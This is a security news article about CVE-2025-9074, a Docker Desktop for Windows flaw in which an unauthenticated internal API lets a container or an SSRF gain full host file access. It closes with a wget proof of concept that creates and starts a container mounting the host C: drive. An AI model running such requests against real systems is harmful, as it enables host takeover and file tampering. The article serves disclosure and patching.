Windows Docker Desktop Flaw Enables Full Host Compromise

/ Cloud Security, Vulnerabilities
add a heading (6)

A newly revealed security flaw in Docker Desktop for Windows shows how a simple Server-Side Request Forgery (SSRF) attack can completely compromise the host machine.

The issue, tracked as CVE-2025-9074, was discovered by Felix Boulet and reported on August 21, 2025. It affects all Docker Desktop releases prior to version 4.44.3. The flaw demonstrates a full bypass of container isolation, achieved through unauthenticated API access.

Independent researcher Philippe Dugre from Pvotal Technologies identified a similar weakness in Docker Desktop for macOS, proving this is a cross-platform security concern.

Key Takeaways

  1. Docker containers can abuse an unauthenticated API to achieve full host compromise.
  2. Attack requires only two HTTP requests to spawn a privileged container with access to the Windows filesystem.
  3. Users must update to Docker Desktop 4.44.3 or later immediately.

Root Cause of the Vulnerability

The flaw exists because Docker Desktop exposes its internal HTTP API endpoint at:

http://192.168.65.7:2375/

No authentication is enforced, meaning any container inside the Docker environment can connect to this endpoint and issue privileged commands against the host.

This represents a serious breakdown in container isolation, which is supposed to guarantee separation between workloads and the host.

The attack is low complexity. It does not require memory corruption or advanced exploitation, only basic HTTP requests from within a container or via an SSRF attack.

Exploitation Process

Attackers only need two HTTP POST requests from a container environment:

  1. Container Creation
    • The /containers/create endpoint is called with a crafted JSON payload.
    • This payload mounts the Windows C: drive (/mnt/host/c) into the container as /host_root.
    • It also specifies commands to run immediately upon startup.
  2. Container Execution
    • The /containers/{id}/start endpoint is used to launch the malicious container.
    • Once active, the container gains administrator-level access to the host system.

This process allows attackers to read, modify, or delete any file on the host machine.

Even worse, SSRF attacks can exploit this issue without the attacker directly controlling a container. They only need the ability to send HTTP requests from a vulnerable service running inside Docker.

Proof of Concept

A working proof of concept shows how simple exploitation is. From an Alpine Linux container, attackers can execute:wget –header=’Content-Type: application/json’ \
–post-data='{“Image”: “alpine”, “Cmd”: [“sh”, “-c”, “echo pwned > /host_root/pwn.txt”], “HostConfig”:{“Binds”:[“/mnt/host/c:/host_root”]}}’ \
-O – http://192.168.65.7:2375/containers/create > create.json
cid=$(cut -d'” -f4 create.json)
wget –post-data=” -O – http://192.168.65.7:2375/containers/$cid/start

This script mounts the host filesystem and writes a file named pwn.txt to the C: drive, proving full compromise.

Related Posts